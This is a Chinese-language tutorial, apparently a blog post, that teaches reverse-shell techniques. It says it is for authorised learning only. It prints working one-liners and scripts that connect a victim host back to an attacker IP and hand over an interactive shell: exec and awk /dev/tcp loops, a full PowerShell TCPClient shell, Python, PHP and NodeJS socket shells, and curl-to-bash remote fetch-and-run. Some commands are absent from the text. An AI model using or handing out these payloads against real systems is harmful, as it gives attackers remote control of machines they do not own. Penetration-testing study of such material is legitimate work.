文章目錄
聲明:以下的反彈shell的介紹只適用於學習和授權情況下的操作,請勿用於非法環境!
一、介紹
1.1 含義
反彈shell / 反向shell / 反彈殼 / 反彈外殼
客戶端連接服務端爲正向連接(如:遠程桌面、ssh等),反向連接彈shell(即反彈shell爲攻擊者爲服務端,受害者主機爲客戶端主動連接攻擊者的服務端)
1.2 目的
- 對方主機在外網無法訪問
- 對方主機防火牆限制,只能發送請求,不能接收請求
- 對方IP動態變化
- 攻擊了一臺主機需要在自己的機器上交互式地執行目標機器中的cmd/bash命令
- 遇到各種AV(AntiVirus,殺軟)對正向的連接數據包檢測,對出網的檢測不嚴格
1.3 原理
讓對方目標機器主動連接攻擊者機器(攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序)
- 攻擊者A開啓19111端口TCP服務
- 受害者B連接19111端口TCP服務
- A、B建立TCP連接
- A通過TCP服務將待執行命令發送到B
- B執行命令後將結果發送給A
二、Linux反彈Shell
2.1 Bash 反彈shell
2.1.1 適用對象
- 目標爲Linux系統
2.1.2 操作方法
攻擊者:192.168.123.192
受害者:192.168.159.129
攻擊者nc監聽端口:
受害者執行:
攻擊者成功拿到一個cmd shell:
2.1.3 命令原理
大致介紹:
通過查看受害者運行的服務可知:在受害者本地開啓了一個bash通過46944端口向遠程地址192.168.123.192的19111端口走tcp協議
(漏洞特徵!運維可以通過此標誌檢查主機是否淪陷,以及遠控主機是誰!此方法經典但不隱蔽!!!)
命令闡述:
命令 | 含義 |
---|---|
bash -i | 產生一個交互式的bash shell |
>& | 將標準輸入和標準錯誤輸出重定向到文件(目的:爲了不在受害者終端中顯示執行的命令) 當>&後邊接文件時,表示將表示將標準輸入輸出重定向到文件 當>&後邊接文件描述符時,表示講前面的文件描述符重定向到後邊的文件描述符 |
/dev/tcp/<ip>/<port> | 一個特殊的設備,打開了這個文件相當於發出了一個socket調用,建立一個socket連接 |
文件描述符 | 0 - stdin,代表標準輸入 1 - stdout,代表標準輸出 2 - stderr,代表標準錯誤輸出 |
0>&1 | 將標準輸入重定向到標準輸出 |
舉例分析:
分析1: 將受害者的交互式shell輸出重定向到攻擊機上,受害者執行命令,攻擊者只能看到結果不能執行控制!
(開啓交互式bash,輸出重定向到遠程)
(攻擊者不能獲得shell只能看到受害者輸出的內容)
分析2: 使用輸入重定向,將遠程攻擊者輸入的當作命令執行(執行一次就斷了)
分析3: 爲了獲取交互式的shell,需要使用文件描述符0>&1
將受害者的標準輸入重定向到標準輸出,即遠程攻擊者可以進行輸出命令到受害者,因此可以反彈shell(缺點:受害者會顯示執行的指令)
分析4: 使用>& / &>將標準輸入和標準輸出都重定向到文件即可完美使用bash反彈shell
2.2 Curl 反彈shell
2.2.1 適用對象
- 目標爲Linux系統
2.2.2 操作方法
攻擊者:192.168.123.128(kali)
受害者:192.168.159.129
攻擊者啓動http服務,並在站點目錄下存放一個文件,裏面寫着bash反彈shell命令(真實情況下需要VPS上部署HTTP服務,並建立如下文件)
受害者使用curl命令訪問對方url,並重定向到bash
攻擊者成功接到shell
2.2.3 命令原理
使用curl訪問遠程站點下文件,並使用管道符重定向到bash(間接地使用了bash一句話)
運維人員通過查看服務可以輕鬆發現主機已淪陷
2.3 Exec 反彈shell
2.3.1 適用對象
- 目標系統爲Linux系統
2.3.2 操作方法
攻擊者:192.168.123.192
受害者:192.168.159.129
受害者執行
exec 5<>/dev/tcp/192.168.123.192/19111;cat <&5 | while read line; do $line 2>&5 >&5; done
成功接到shell
2.4 Awk 彈shell
2.4.1 適用對象
- 目標系統爲Linux系統
2.4.2 操作方法
攻擊者:192.168.123.192
受害者:192.168.159.129
攻擊者nc監聽shell
受害者使用awk命令執行:
awk 'BEGIN {s = "/inet/tcp/0/192.168.123.192/19111"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
攻擊者成功接到shell
2.4.3 長聯優點
長聯:客戶端一直保持向服務端反彈shell的狀態
正常的bash反彈shell服務端結束了shell(ctrl+c取消),shell客戶端(受害者)也隨之結束建立連接的命令,但是awk再次監聽端口時仍舊能連接(也就是客戶端一直保持連接狀態除非手動在客戶端結束,這樣的好處是即使服務端斷開連接不用在受害者主機中再次執行命令直接nc接shell即可)
三、Windows 反彈shell
3.1 powershell 反彈shell
3.1.1 適用對象
- 目標系統爲Windows系統
3.1.2 操作方法
攻擊者nc監聽shell端口
受害者執行
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',19111);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
攻擊者成功獲取到shell
四、不同語言 反彈shell
4.1 Python 反彈shell
4.1.1 適用對象
- 目標系統需安裝python(Linux / Windows)
4.1.2 操作方法
攻擊者:192.168.123.128(kali)
受害者:192.168.159.129
攻擊者已知目標服務器上存在python環境
攻擊者啓動http服務,並在站點目錄下存放一個py文件,使用socket建連反彈shell(真實情況下需要VPS上部署HTTP服務,並建立如下文件)
(reverse_py_shell.py中代碼如下:)
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.128",19111)) #更改IP爲自己的外網IP,端口自定義
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
攻擊nc監聽shell連接
受害者主機中執行
攻擊者成功獲取到shell
4.1.3 命令原理
受害者使用curl命令工具訪問攻擊者站點上的反彈shell的python腳本,並通過管道符調用python解析器執行
運維人員通過查看服務可以輕鬆發現主機已淪陷
4.2 PHP反彈shell
4.2.1 適用對象
- 目標系統需安裝PHP,如windows下的需要配置PHP環境變量(Linux / Windows)
4.2.2 操作方法
攻擊者:192.168.159.128(kali)
受害者:192.168.159.128(在windows上實驗反彈失敗)
攻擊者已知目標服務器上存在php環境
攻擊者啓動http服務,並在站點目錄下存放一個txt文件,裏面寫着php反彈shell命令(真實情況下需要VPS上部署HTTP服務,並建立如下文件)
(PHP腳本內容如下:)
<?php
$sock=fsockopen("192.168.159.128",19111); // IP爲自己的外網IP,端口自定義
exec("/bin/sh -i <&3 >&3 2>&3");
?>
攻擊者nc監聽shell
受害者執行如下命令
攻擊者成功獲得shell
4.2.3 命令原理
php使用socket進行shell反向連接
運維人員通過查看服務可以輕鬆發現主機已淪陷
4.3 NodeJS 反彈shell
4.3.1 適用對象
- 目標系統需安裝NodeJS,如windows下的需要配置PHP環境變量(Linux / Windows)
4.3.2 操作方法
攻擊者:192.168.159.128(kali)
受害者:192.168.1.100
查看目標系統是是否安裝了nodejs
攻擊者啓動HTTP服務,並將如下文件放入到站點根目錄下
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(19111, "192.168.1.100", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
攻擊者nc監聽shell
在受害者主機中使用curl命令行攻擊加載遠程目標地址的JS代碼並執行
攻擊者成功接到shell
同樣,運維管理員可以查看到入侵的服務特徵
五、MSF 反彈shell
5.1 Windows反彈shell(exe)
- windows上反彈Meterpreter shell,詳情可參考:MSF --Windows後門之exe文件
5.2 Linux反彈shell(elf)
- Linux上反彈Meterpreter shell,詳情可參考:MSF --Linux後門之elf文件
六、其它 反彈shell
6.1 nc 反彈shell
6.1.1 適用對象
- 目標系統安裝netcat
6.1.2 操作方法
攻擊者:192.168.159.128(kali)
受害者:192.168.1.100(Win)
攻擊者客戶端監聽
受害者服務端執行(Windows)
受害者服務端執行(Linux)
攻擊者成功收到shell